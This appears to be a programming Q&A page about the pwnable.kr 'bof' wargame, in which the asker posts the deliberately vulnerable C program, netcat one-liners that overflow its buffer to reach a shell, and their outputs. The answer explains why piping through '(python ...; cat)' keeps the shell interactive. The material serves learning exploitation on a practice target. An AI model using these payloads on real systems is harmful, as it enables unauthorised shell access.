Search code examples
pythonclinuxreverse-engineeringcracking

what is the difference between "python -c 'print' " and "(python -c 'print'; cat)" in linux


I usually use "python -c" to pass arguments to C program.

Like this:

$ python -c 'print "a" * 12' | ./program

but when I execute a BOF practice program pwnable.kr/bof, the

python -c 'print'

and

( python -c 'print'; cat )

work differently.

  1. I wrote a exploit code like this:

    $ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000
    

    but it didn't work, so I found stack_canary value.

  2. $ python -c 'print "a"*32 +"\x0a"+ "a"*19 + "\xbe\xba\xfe\xca" ' | nc pwnable.kr 9000
    

    but it still didn't work

  3. So I found other people's write up

    $ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000
    

    This exploit code successfully executed /bin/sh

Why this 3. exploit code passes stack canary and what is the difference between python -c 'print' and (python -c 'print'; cat) ?

#include <stdio.h>
#include <string.h>
#include <stdlib.h> 
void func(int key){
    char overflowme[32];
    printf("overflow me : ");
    gets(overflowme);   // smash me!
    if(key == 0xcafebabe){
        system("/bin/sh");
    }
    else{
        printf("Nah..\n");
    }
   }
 int main(int argc, char* argv[]){
    func(0xdeadbeef);
    return 0;
 } 

bof.c source

$ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | nc pwnable.kr 9000

* stack smashing detected *: /home/bof/bof terminated overflow me :

Nah..


$ python -c 'print "a"*32 +"\x0a"' | nc pwnable.kr 9000

overflow me :

Nah..


$ (python -c 'print "a"*52 +"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000

successfully execute /bin/sh


Solution

  • cat /dev/null | /bin/sh
    

    This will run /bin/sh shell (and abuse cats, but will leave them for a moment) and the shell /bin/sh will immediately close without writing anything. /bin/sh runs an interactive shell, but as the standard input of the shell is closed (either by <nothing> | or by </dev/null) the shell detects that the input has ended (it reads EOF) and exists immediately.

    Now let's complicate the example:

    $ cat <<EOF >bof.c
    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    void func(int key){
         // bla bla bla 
            system("/bin/sh");
    }
    int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
    }
    EOF
    
    $ gcc bof.c -o bof
    $ python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' | ./bof
    

    The ./bof program calls system("/bin/sh") if stack smashing was successful. But the shell /bin/sh would try to still read standard input. As there is nothing more to read (as the input python -c 'print "a"*52 +"\xbe\xba\xfe\xca"' ended) it will read EOF and exit immediately.

    To write a string from a program and then allow the input to be interactive again, you can use a subshell with cat:

     ( printf "\x11\xbe\xba\xfe\xca" ; cat )
    

    This will first run the printf command, then run the cat. cat will read from standard input after printf ended, so the console will act as an interactive again.